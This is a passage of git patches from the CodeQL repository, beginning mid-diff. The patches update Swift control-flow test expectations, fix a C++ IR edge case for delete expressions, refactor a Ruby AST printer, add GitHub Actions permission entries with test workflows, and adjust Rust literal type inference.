= ... | cfg.swift:410:9:410:9 | exit set (normal) | | | file://:0:0:0:0 | ... = ... | cfg.swift:417:9:417:9 | exit set (normal) | | @@ -2227,6 +2267,7 @@ | file://:0:0:0:0 | ... = ... | cfg.swift:450:7:450:7 | exit set (normal) | | | file://:0:0:0:0 | ... = ... | cfg.swift:451:7:451:7 | exit set (normal) | | | file://:0:0:0:0 | ... = ... | cfg.swift:452:7:452:7 | exit set (normal) | | +| file://:0:0:0:0 | ... = ... | cfg.swift:591:9:591:9 | exit set (normal) | | | file://:0:0:0:0 | &... | cfg.swift:394:7:394:7 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:410:9:410:9 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:417:9:417:9 | yield ... | | @@ -2234,6 +2275,7 @@ | file://:0:0:0:0 | &... | cfg.swift:450:7:450:7 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:451:7:451:7 | yield ... | | | file://:0:0:0:0 | &... | cfg.swift:452:7:452:7 | yield ... | | +| file://:0:0:0:0 | &... | cfg.swift:591:9:591:9 | yield ... | | | file://:0:0:0:0 | .b | file://:0:0:0:0 | return ... | | | file://:0:0:0:0 | .b | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .bs | file://:0:0:0:0 | return ... | | @@ -2247,6 +2289,8 @@ | file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | +| file://:0:0:0:0 | .x | file://:0:0:0:0 | return ... | | +| file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | | file://:0:0:0:0 | .x | file://:0:0:0:0 | value | | @@ -2258,6 +2302,7 @@ | file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | | file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | | file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | +| file://:0:0:0:0 | getter for .x | file://:0:0:0:0 | &... | | | file://:0:0:0:0 | n | cfg.swift:377:7:377:7 | _unimplementedInitializer(className:initName:file:line:column:) | | | file://:0:0:0:0 | return | cfg.swift:377:19:377:19 | exit Derived.init(n:) (normal) | return | | file://:0:0:0:0 | return ... | cfg.swift:99:7:99:7 | exit get (normal) | return | @@ -2269,6 +2314,7 @@ | file://:0:0:0:0 | return ... | cfg.swift:450:7:450:7 | exit get (normal) | return | | file://:0:0:0:0 | return ... | cfg.swift:451:7:451:7 | exit get (normal) | return | | file://:0:0:0:0 | return ... | cfg.swift:452:7:452:7 | exit get (normal) | return | +| file://:0:0:0:0 | return ... | cfg.swift:591:9:591:9 | exit get (normal) | return | | file://:0:0:0:0 | self | file://:0:0:0:0 | .b | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .b | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .bs | | @@ -2285,6 +2331,8 @@ | file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | +| file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | +| file://:0:0:0:0 | self | file://:0:0:0:0 | .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .b | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .bs | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .field | | @@ -2292,6 +2340,8 @@ | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | | file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | +| file://:0:0:0:0 | self | file://:0:0:0:0 | getter for .x | | +| file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | @@ -2301,4 +2351,4 @@ | file://:0:0:0:0 | value | file://:0:0:0:0 | ... = ... | | | file://:0:0:0:0 | var ... = ... | cfg.swift:138:3:138:3 | .next() | | | file://:0:0:0:0 | var ... = ... | cfg.swift:526:17:526:17 | .next() | | -| file://:0:0:0:0 | var ... = ... | cfg.swift:533:5:533:5 | .next() | | +| file://:0:0:0:0 | var ... = ... | cfg.swift:533:5:533:5 | .next(isolation:) | | diff --git a/swift/ql/test/library-tests/controlflow/graph/cfg.swift b/swift/ql/test/library-tests/controlflow/graph/cfg.swift index 09090fc70baa..b26ac41693c6 100644 --- a/swift/ql/test/library-tests/controlflow/graph/cfg.swift +++ b/swift/ql/test/library-tests/controlflow/graph/cfg.swift @@ -112,13 +112,13 @@ func testMemberRef(param : C, inoutParam : inout C, opt : C?) { let n2 = c.self.myInt let n3 = c.getMyInt() let n4 = c.self.getMyInt() - let n5 = param.myInt let n6 = param.self.myInt - let n7 = param.getMyInt() + let n8 = param.self.getMyInt() let n9 = inoutParam.myInt + let n7 = param.getMyInt() let n10 = inoutParam.self.myInt let n11 = inoutParam.getMyInt() let n12 = inoutParam.self.getMyInt() @@ -585,3 +585,14 @@ func singleStmtExpr(_ x: Int) { let b = if (x < 42) { 1 } else { 2 } } // --- + +//codeql-extractor-options: -enable-experimental-feature ValueGenerics -disable-availability-checking +struct ValueGenericsStruct { + var x = N; +} + +func valueGenericsFn(_ value: ValueGenericsStruct) { + var x = N; + print(x); + _ = value; +} diff --git a/swift/tools/qltest.sh b/swift/tools/qltest.sh index ba5fb779d287..c7c694f3fab6 100755 --- a/swift/tools/qltest.sh +++ b/swift/tools/qltest.sh @@ -10,10 +10,10 @@ export CODEQL_EXTRACTOR_SWIFT_LOG_LEVELS=${CODEQL_EXTRACTOR_SWIFT_LOG_LEVELS:-ou for src in *.swift; do env=() opts=(-resource-dir "$RESOURCE_DIR" -c -primary-file "$src") - opts+=($(sed -n '1 s=//codeql-extractor-options:==p' $src)) + opts+=($(sed -n 's=//codeql-extractor-options:==p' $src)) expected_status=$(sed -n 's=//codeql-extractor-expected-status:[[:space:]]*==p' $src) expected_status=${expected_status:-0} - env+=($(sed -n '1 s=//codeql-extractor-env:==p' $src)) + env+=($(sed -n 's=//codeql-extractor-env:==p' $src)) echo >> $QLTEST_LOG env "${env[@]}" "$EXTRACTOR" "${opts[@]}" >> $QLTEST_LOG 2>&1 actual_status=$? From 4709eacbf8fc6d7bce5df874c758bf486931697d Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 14 May 2025 11:37:03 +0200 Subject: [PATCH 135/535] Swift: add change note --- swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md diff --git a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md b/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md new file mode 100644 index 000000000000..aa3282d33263 --- /dev/null +++ b/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library From 3d38d77d635365bdf14d43f8bd6917b6a031f93e Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 14 May 2025 11:41:17 +0200 Subject: [PATCH 136/535] Rust: accept dummy test output --- rust/ql/test/utils/PrintAst.expected | 2 ++ 1 file changed, 2 insertions(+) diff --git a/rust/ql/test/utils/PrintAst.expected b/rust/ql/test/utils/PrintAst.expected index e69de29bb2d1..8c584755b351 100644 --- a/rust/ql/test/utils/PrintAst.expected +++ b/rust/ql/test/utils/PrintAst.expected @@ -0,0 +1,2 @@ +lib.rs: +# 1| [SourceFile] SourceFile From 96bd9a96e563a1526d9fe25d9eecb24d50addcd8 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Wed, 14 May 2025 13:36:52 +0200 Subject: [PATCH 137/535] C++: Add test case for IR edge case --- .../ir/no-function-calls/PrintAST.expected | 36 ++++++++++++++++++ .../ir/no-function-calls/PrintAST.ql | 11 ++++++ .../ir/no-function-calls/PrintConfig.qll | 24 ++++++++++++ .../ir/no-function-calls/aliased_ir.expected | 37 +++++++++++++++++++ .../ir/no-function-calls/aliased_ir.ql | 11 ++++++ .../ir/no-function-calls/test.cpp | 13 +++++++ 6 files changed, 132 insertions(+) create mode 100644 cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.expected create mode 100644 cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.ql create mode 100644 cpp/ql/test/library-tests/ir/no-function-calls/PrintConfig.qll create mode 100644 cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected create mode 100644 cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.ql create mode 100644 cpp/ql/test/library-tests/ir/no-function-calls/test.cpp diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.expected b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.expected new file mode 100644 index 000000000000..7f15878cf20e --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.expected @@ -0,0 +1,36 @@ +#-----| [CopyAssignmentOperator] __va_list_tag& __va_list_tag::operator=(__va_list_tag const&) +#-----| : +#-----| getParameter(0): [Parameter] (unnamed parameter 0) +#-----| Type = [LValueReferenceType] const __va_list_tag & +#-----| [MoveAssignmentOperator] __va_list_tag& __va_list_tag::operator=(__va_list_tag&&) +#-----| : +#-----| getParameter(0): [Parameter] (unnamed parameter 0) +#-----| Type = [RValueReferenceType] __va_list_tag && +#-----| [Operator,TopLevelFunction] void operator delete(void*) +#-----| : +#-----| getParameter(0): [Parameter] (unnamed parameter 0) +#-----| Type = [VoidPointerType] void * +test.cpp: +# 5| [TopLevelFunction] void foo(int*) +# 5| : +# 5| getParameter(0): [Parameter] x +# 5| Type = [IntPointerType] int * +# 5| getEntryPoint(): [BlockStmt] { ... } +# 6| getStmt(0): [ExprStmt] ExprStmt +# 6| getExpr(): [DeleteExpr] delete +# 6| Type = [VoidType] void +# 6| ValueCategory = prvalue +# 6| getExprWithReuse(): [VariableAccess] x +# 6| Type = [IntPointerType] int * +# 6| ValueCategory = prvalue(load) +# 7| getStmt(1): [ReturnStmt] return ... +# 9| [TopLevelFunction] void bar() +# 9| : +# 11| [TopLevelFunction] void jazz() +# 11| : +# 11| getEntryPoint(): [BlockStmt] { ... } +# 12| getStmt(0): [ExprStmt] ExprStmt +# 12| getExpr(): [FunctionCall] call to bar +# 12| Type = [VoidType] void +# 12| ValueCategory = prvalue +# 13| getStmt(1): [ReturnStmt] return ... diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.ql b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.ql new file mode 100644 index 000000000000..03321d9e4910 --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/PrintAST.ql @@ -0,0 +1,11 @@ +/** + * @kind graph + */ + +private import cpp +private import semmle.code.cpp.PrintAST +private import PrintConfig + +private class PrintConfig extends PrintAstConfiguration { + override predicate shouldPrintDeclaration(Declaration decl) { shouldDumpDeclaration(decl) } +} diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/PrintConfig.qll b/cpp/ql/test/library-tests/ir/no-function-calls/PrintConfig.qll new file mode 100644 index 000000000000..aa23cf423add --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/PrintConfig.qll @@ -0,0 +1,24 @@ +private import cpp + +/** + * Holds if the specified location is in standard headers. + */ +predicate locationIsInStandardHeaders(Location loc) { + loc.getFile().getAbsolutePath().regexpMatch(".*/include/[^/]+") +} + +/** + * Holds if the AST or IR for the specified declaration should be printed in the test output. + * + * This predicate excludes declarations defined in standard headers. + */ +predicate shouldDumpDeclaration(Declaration decl) { + not locationIsInStandardHeaders(decl.getLocation()) and + ( + decl instanceof Function + or + decl.(GlobalOrNamespaceVariable).hasInitializer() + or + decl.(StaticLocalVariable).hasInitializer() + ) +} diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected new file mode 100644 index 000000000000..1cb0fbf77c9b --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected @@ -0,0 +1,37 @@ +test.cpp: +# 5| void foo(int*) +# 5| Block 0 +# 5| v5_1(void) = EnterFunction : +# 5| m5_2(unknown) = AliasedDefinition : +# 5| m5_3(unknown) = InitializeNonLocal : +# 5| m5_4(unknown) = Chi : total:m5_2, partial:m5_3 +# 5| r5_5(glval) = VariableAddress[x] : +# 5| m5_6(int *) = InitializeParameter[x] : &:r5_5 +# 5| r5_7(int *) = Load[x] : &:r5_5, m5_6 +# 5| m5_8(unknown) = InitializeIndirection[x] : &:r5_7 +# 6| r6_1(glval) = FunctionAddress[operator delete] : +# 6| r6_2(glval) = VariableAddress[x] : +# 6| r6_3(int *) = Load[x] : &:r6_2, m5_6 +# 6| v6_4(void) = Call[operator delete] : func:r6_1 +# 6| m6_5(unknown) = ^CallSideEffect : ~m5_4 +# 6| m6_6(unknown) = Chi : total:m5_4, partial:m6_5 +# 7| v7_1(void) = NoOp : +# 5| v5_9(void) = ReturnIndirection[x] : &:r5_7, m5_8 +# 5| v5_10(void) = ReturnVoid : +# 5| v5_11(void) = AliasedUse : ~m6_6 +# 5| v5_12(void) = ExitFunction : + +# 11| void jazz() +# 11| Block 0 +# 11| v11_1(void) = EnterFunction : +# 11| m11_2(unknown) = AliasedDefinition : +# 11| m11_3(unknown) = InitializeNonLocal : +# 11| m11_4(unknown) = Chi : total:m11_2, partial:m11_3 +# 12| r12_1(glval) = FunctionAddress[bar] : +# 12| v12_2(void) = Call[bar] : func:r12_1 +# 12| m12_3(unknown) = ^CallSideEffect : ~m11_4 +# 12| m12_4(unknown) = Chi : total:m11_4, partial:m12_3 +# 13| v13_1(void) = NoOp : +# 11| v11_5(void) = ReturnVoid : +# 11| v11_6(void) = AliasedUse : ~m12_4 +# 11| v11_7(void) = ExitFunction : diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.ql b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.ql new file mode 100644 index 000000000000..0488fd09dbed --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.ql @@ -0,0 +1,11 @@ +/** + * @kind graph + */ + +private import cpp +private import semmle.code.cpp.ir.implementation.aliased_ssa.PrintIR +private import PrintConfig + +private class PrintConfig extends PrintIRConfiguration { + override predicate shouldPrintDeclaration(Declaration decl) { shouldDumpDeclaration(decl) } +} diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/test.cpp b/cpp/ql/test/library-tests/ir/no-function-calls/test.cpp new file mode 100644 index 000000000000..a892ba41ba2b --- /dev/null +++ b/cpp/ql/test/library-tests/ir/no-function-calls/test.cpp @@ -0,0 +1,13 @@ +// Test for edge case, where we have a database without any function calls or +// where none of the function calls have any arguments, but where we do have +// a delete expression. + +void foo(int* x) { + delete x; +} + +void bar(); + +void jazz() { + bar(); +} From 401281331ff960a91f85e2945068b44cc244e6f6 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Wed, 14 May 2025 13:44:29 +0200 Subject: [PATCH 138/535] C++: Fix IR edge case where there are no function calls taking an argument --- .../semmle/code/cpp/ir/internal/IRCppLanguage.qll | 7 ++++++- .../ir/no-function-calls/aliased_ir.expected | 15 ++++++++------- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll b/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll index 681e2838ffbe..28bbd40f8bf5 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll @@ -67,8 +67,13 @@ class Class = Cpp::Class; // Used for inheritance conversions predicate hasCaseEdge(string minValue, string maxValue) { hasCaseEdge(_, minValue, maxValue) } predicate hasPositionalArgIndex(int argIndex) { - exists(Cpp::FunctionCall call | exists(call.getArgument(argIndex))) or + exists(Cpp::FunctionCall call | exists(call.getArgument(argIndex))) + or exists(Cpp::BuiltInOperation op | exists(op.getChild(argIndex))) + or + // Ensure we are always able to output the argument of a call to the delete operator. + exists(Cpp::DeleteExpr d) and + argIndex = 0 } predicate hasAsmOperandIndex(int operandIndex) { diff --git a/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected index 1cb0fbf77c9b..6b1c7a76a62b 100644 --- a/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected +++ b/cpp/ql/test/library-tests/ir/no-function-calls/aliased_ir.expected @@ -9,17 +9,18 @@ test.cpp: # 5| m5_6(int *) = InitializeParameter[x] : &:r5_5 # 5| r5_7(int *) = Load[x] : &:r5_5, m5_6 # 5| m5_8(unknown) = InitializeIndirection[x] : &:r5_7 +# 5| m5_9(unknown) = Chi : total:m5_4, partial:m5_8 # 6| r6_1(glval) = FunctionAddress[operator delete] : # 6| r6_2(glval) = VariableAddress[x] : # 6| r6_3(int *) = Load[x] : &:r6_2, m5_6 -# 6| v6_4(void) = Call[operator delete] : func:r6_1 -# 6| m6_5(unknown) = ^CallSideEffect : ~m5_4 -# 6| m6_6(unknown) = Chi : total:m5_4, partial:m6_5 +# 6| v6_4(void) = Call[operator delete] : func:r6_1, 0:r6_3 +# 6| m6_5(unknown) = ^CallSideEffect : ~m5_9 +# 6| m6_6(unknown) = Chi : total:m5_9, partial:m6_5 # 7| v7_1(void) = NoOp : -# 5| v5_9(void) = ReturnIndirection[x] : &:r5_7, m5_8 -# 5| v5_10(void) = ReturnVoid : -# 5| v5_11(void) = AliasedUse : ~m6_6 -# 5| v5_12(void) = ExitFunction : +# 5| v5_10(void) = ReturnIndirection[x] : &:r5_7, ~m6_6 +# 5| v5_11(void) = ReturnVoid : +# 5| v5_12(void) = AliasedUse : ~m6_6 +# 5| v5_13(void) = ExitFunction : # 11| void jazz() # 11| Block 0 From 96bdfbf76b7b6485839a864cb564bee8b6272b77 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nora=20Dimitrijevi=C4=87?= Date: Wed, 14 May 2025 15:36:45 +0200 Subject: [PATCH 139/535] Fix inefficient pattern: if-exists -> exists-or-not-exists --- ruby/ql/lib/codeql/ruby/printAst.qll | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/printAst.qll b/ruby/ql/lib/codeql/ruby/printAst.qll index 947f8de06ef2..97c7119eae29 100644 --- a/ruby/ql/lib/codeql/ruby/printAst.qll +++ b/ruby/ql/lib/codeql/ruby/printAst.qll @@ -121,17 +121,16 @@ class PrintRegularAstNode extends PrintAstNode, TPrintRegularAstNode { } private int getSynthAstNodeIndex() { - if - exists(AstNode parent | - shouldPrintAstEdge(parent, _, astNode) and - synthChild(parent, _, astNode) - ) - then - exists(AstNode parent | - shouldPrintAstEdge(parent, _, astNode) and - synthChild(parent, result, astNode) - ) - else result = 0 + exists(AstNode parent | + shouldPrintAstEdge(parent, _, astNode) and + synthChild(parent, result, astNode) + ) + or + not exists(AstNode parent | + shouldPrintAstEdge(parent, _, astNode) and + synthChild(parent, _, astNode) + ) and + result = 0 } private int getSynthAstNodeIndexForSynthParent() { From 1a1c9b4ea4413cd87cb301a4088102d746d154b0 Mon Sep 17 00:00:00 2001 From: Neil Mendum Date: Wed, 14 May 2025 17:28:54 +0100 Subject: [PATCH 140/535] actions: add some missing permissions --- actions/ql/lib/ext/config/actions_permissions.yml | 13 +++++++++---- ...5-05-14-minimal-permission-for-add-to-project.md | 4 ++++ .../Security/CWE-275/.github/workflows/perms10.yml | 10 ++++++++++ .../Security/CWE-275/.github/workflows/perms8.yml | 10 ++++++++++ .../Security/CWE-275/.github/workflows/perms9.yml | 10 ++++++++++ .../CWE-275/MissingActionsPermissions.expected | 3 +++ 6 files changed, 46 insertions(+), 4 deletions(-) create mode 100644 actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md create mode 100644 actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms10.yml create mode 100644 actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms8.yml create mode 100644 actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms9.yml diff --git a/actions/ql/lib/ext/config/actions_permissions.yml b/actions/ql/lib/ext/config/actions_permissions.yml index 6e0081973de6..b2862794383e 100644 --- a/actions/ql/lib/ext/config/actions_permissions.yml +++ b/actions/ql/lib/ext/config/actions_permissions.yml @@ -22,16 +22,21 @@ extensions: - ["actions/stale", "pull-requests: write"] - ["actions/attest-build-provenance", "id-token: write"] - ["actions/attest-build-provenance", "attestations: write"] + - ["actions/deploy-pages", "pages: write"] + - ["actions/deploy-pages", "id-token: write"] + - ["actions/delete-package-versions", "packages: write"] - ["actions/jekyll-build-pages", "contents: read"] - ["actions/jekyll-build-pages", "pages: write"] - ["actions/jekyll-build-pages", "id-token: write"] - ["actions/publish-action", "contents: write"] - - ["actions/versions-package-tools", "contents: read"] + - ["actions/versions-package-tools", "contents: read"] - ["actions/versions-package-tools", "actions: read"] - - ["actions/reusable-workflows", "contents: read"] + - ["actions/reusable-workflows", "contents: read"] - ["actions/reusable-workflows", "actions: read"] + - ["actions/ai-inference", "contents: read"] + - ["actions/ai-inference", "models: read"] # TODO: Add permissions for actions/download-artifact # TODO: Add permissions for actions/upload-artifact + # No permissions needed for actions/upload-pages-artifact # TODO: Add permissions for actions/cache - - + # No permissions needed for actions/configure-pages diff --git a/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md b/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md new file mode 100644 index 000000000000..8d6c87fe7a76 --- /dev/null +++ b/actions/ql/src/change-notes/2025-05-14-minimal-permission-for-add-to-project.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The query `actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions `deploy-pages`, `delete-package-versions`, `ai-inference`. This should lead to better alert messages and better fix suggestions. diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms10.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms10.yml new file mode 100644 index 000000000000..6530bd5f08e0 --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms10.yml @@ -0,0 +1,10 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/ai-inference diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms8.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms8.yml new file mode 100644 index 000000000000..1a10bd6a7d6c --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms8.yml @@ -0,0 +1,10 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/deploy-pages diff --git a/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms9.yml b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms9.yml new file mode 100644 index 000000000000..b6ae16bf9e26 --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-275/.github/workflows/perms9.yml @@ -0,0 +1,10 @@ +on: + workflow_call: + workflow_dispatch: + +jobs: + build: + name: Build and test + runs-on: ubuntu-latest + steps: + - uses: actions/delete-package-versions diff --git a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected index 1a3c36c78ca1..52a045e0de21 100644 --- a/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected +++ b/actions/ql/test/query-tests/Security/CWE-275/MissingActionsPermissions.expected @@ -3,3 +3,6 @@ | .github/workflows/perms5.yml:7:5:10:32 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read} | | .github/workflows/perms6.yml:7:5:11:39 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read, id-token: write, pages: write} | | .github/workflows/perms7.yml:7:5:10:38 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {} | +| .github/workflows/perms8.yml:7:5:10:33 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {id-token: write, pages: write} | +| .github/workflows/perms9.yml:7:5:10:44 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {packages: write} | +| .github/workflows/perms10.yml:7:5:10:33 | Job: build | Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: {contents: read, models: read} | From 9d37597461dc58e67765a6cb5557e853c28741e4 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 14 May 2025 20:50:40 +0200 Subject: [PATCH 141/535] Address review comments --- .../elements/internal/LiteralExprImpl.qll | 23 ++++---- .../codeql/rust/frameworks/stdlib/Bultins.qll | 8 +-- .../codeql/rust/internal/TypeInference.qll | 53 +++++++++---------- .../test/library-tests/type-inference/main.rs | 10 ++-- .../type-inference/type-inference.expected | 15 ++++-- 5 files changed, 53 insertions(+), 56 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll index f848663a99bb..a836a4c40752 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LiteralExprImpl.qll @@ -76,7 +76,14 @@ module Impl { /** * A number literal. */ - abstract class NumberLiteralExpr extends LiteralExpr { } + abstract class NumberLiteralExpr extends LiteralExpr { + /** + * Get the suffix of this number literal, if any. + * + * For example, `42u8` has the suffix `u8`. + */ + abstract string getSuffix(); + } // https://doc.rust-lang.org/reference/tokens.html#integer-literals private module IntegerLiteralRegexs { @@ -126,12 +133,7 @@ module Impl { class IntegerLiteralExpr extends NumberLiteralExpr { IntegerLiteralExpr() { this.getTextValue().regexpMatch(IntegerLiteralRegexs::integerLiteral()) } - /** - * Get the suffix of this integer literal, if any. - * - * For example, `42u8` has the suffix `u8`. - */ - string getSuffix() { + override string getSuffix() { exists(string s, string reg | s = this.getTextValue() and reg = IntegerLiteralRegexs::integerLiteral() and @@ -193,12 +195,7 @@ module Impl { not this instanceof IntegerLiteralExpr } - /** - * Get the suffix of this floating-point literal, if any. - * - * For example, `42.0f32` has the suffix `f32`. - */ - string getSuffix() { + override string getSuffix() { exists(string s, string reg | reg = IntegerLiteralRegexs::paren(FloatLiteralRegexs::floatLiteralSuffix1()) + "|" + diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll index 0449d55205ae..0c4999bba5e7 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll @@ -97,13 +97,13 @@ class U128 extends BuiltinType { } /** The builtin `usize` type. */ -class USize extends BuiltinType { - USize() { this.getName() = "usize" } +class Usize extends BuiltinType { + Usize() { this.getName() = "usize" } } /** The builtin `isize` type. */ -class ISize extends BuiltinType { - ISize() { this.getName() = "isize" } +class Isize extends BuiltinType { + Isize() { this.getName() = "isize" } } /** The builtin `f32` type. */ diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 36d97b5c3316..0a3cac3b34fb 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -887,37 +887,32 @@ private Type inferTryExprType(TryExpr te, TypePath path) { private import codeql.rust.frameworks.stdlib.Bultins as Builtins -pragma[nomagic] -StructType getBuiltinType(string name) { - result = TStruct(any(Builtins::BuiltinType t | name = t.getName())) -} - pragma[nomagic] private StructType inferLiteralType(LiteralExpr le) { - le instanceof CharLiteralExpr and - result = TStruct(any(Builtins::Char t)) - or - le instanceof StringLiteralExpr and - result = TStruct(any(Builtins::Str t)) - or - le = - any(IntegerLiteralExpr n | - not exists(n.getSuffix()) and - result = getBuiltinType("i32") - or - result = getBuiltinType(n.getSuffix()) - ) - or - le = - any(FloatLiteralExpr n | - not exists(n.getSuffix()) and - result = getBuiltinType("f32") - or - result = getBuiltinType(n.getSuffix()) - ) - or - le instanceof BooleanLiteralExpr and - result = TStruct(any(Builtins::Bool t)) + exists(Builtins::BuiltinType t | result = TStruct(t) | + le instanceof CharLiteralExpr and + t instanceof Builtins::Char + or + le instanceof StringLiteralExpr and + t instanceof Builtins::Str + or + le = + any(NumberLiteralExpr ne | + t.getName() = ne.getSuffix() + or + not exists(ne.getSuffix()) and + ( + ne instanceof IntegerLiteralExpr and + t instanceof Builtins::I32 + or + ne instanceof FloatLiteralExpr and + t instanceof Builtins::F64 + ) + ) + or + le instanceof BooleanLiteralExpr and + 